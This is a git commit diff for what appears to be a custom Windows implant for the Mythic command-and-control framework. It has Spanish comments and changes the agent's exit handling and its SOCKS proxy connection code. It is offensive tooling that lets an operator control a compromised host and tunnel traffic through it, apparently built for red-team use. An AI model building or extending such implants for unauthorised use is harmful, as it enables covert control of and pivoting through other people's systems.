socks funcional 100%
This commit is contained in:
@@ -8,26 +8,45 @@ BOOL cerrarCallback(PAnalizador argumentos){
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
// Crear paquete de respuesta
|
||||
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
// Crear paquete de respuesta siguiendo el mismo patrón que otros comandos
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
|
||||
// Si falla la creación del paquete, cerramos con error
|
||||
if (!paquete) {
|
||||
// Si falla la creación del paquete, cerramos con error
|
||||
if (!respuesta) {
|
||||
ExitProcess(1);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Agregar el UUID de la tarea
|
||||
addString(paquete, tareaUuid, FALSE);
|
||||
addString(respuesta, tareaUuid, FALSE);
|
||||
|
||||
// Indicar que la tarea se completó con éxito
|
||||
addByte(paquete, TASK_COMPLETE);
|
||||
// Crear paquete temporal para el mensaje de salida
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
addString(salida, "Agent exiting...\n", FALSE);
|
||||
|
||||
// Agregar el mensaje al paquete de respuesta
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Enviar el paquete
|
||||
mandarPaquete(paquete);
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
|
||||
// Liberar memoria del paquete
|
||||
liberarPaquete(paquete);
|
||||
// Liberar memoria
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
// Dar tiempo suficiente para que Mythic procese la respuesta
|
||||
// Hacemos un pequeño delay y luego forzamos un flush final
|
||||
Sleep(1000);
|
||||
|
||||
// Enviar un GET_TASKING vacío para forzar que Mythic procese todo
|
||||
PPaquete flushPkt = nuevoPaquete(GET_TASKING, TRUE);
|
||||
Analizador* flushResp = mandarPaquete(flushPkt);
|
||||
liberarPaquete(flushPkt);
|
||||
if (flushResp) liberarAnalizador(flushResp);
|
||||
|
||||
// Esperar un poco más antes de cerrar definitivamente
|
||||
Sleep(1000);
|
||||
|
||||
// Terminar el proceso
|
||||
ExitProcess(0);
|
||||
|
||||
@@ -383,7 +383,11 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
|
||||
memset(&sa,0,sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(port);
|
||||
if (inet_pton(AF_INET, dest, &sa.sin_addr) <= 0) {
|
||||
|
||||
/* Intentar parsear como dirección IP usando inet_addr (compatible con MinGW) */
|
||||
unsigned long addr = inet_addr(dest);
|
||||
if (addr == INADDR_NONE) {
|
||||
/* No es una IP válida, intentar resolver como hostname */
|
||||
printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest);
|
||||
fflush(stdout);
|
||||
struct hostent *h = gethostbyname(dest);
|
||||
@@ -396,6 +400,9 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
|
||||
sa.sin_addr = *(struct in_addr*)h->h_addr;
|
||||
printf("[SOCKS_MGR] Hostname resuelto OK\n");
|
||||
fflush(stdout);
|
||||
} else {
|
||||
/* Es una IP válida */
|
||||
sa.sin_addr.s_addr = addr;
|
||||
}
|
||||
printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port);
|
||||
fflush(stdout);
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
|
||||
@@ -29,10 +30,15 @@ class ExitCommand(CommandBase):
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
# Marcar inmediatamente como completada ya que el agente se cerrará
|
||||
response.Completed = True
|
||||
response.TaskStatus = MythicStatus.Completed
|
||||
type = taskData.args.get_arg("type")
|
||||
response.DisplayParams = type
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
resp.TaskStatus = "completed" # Marcar explícitamente como completada
|
||||
resp.Completed = True
|
||||
return resp
|
||||
Reference in New Issue
Block a user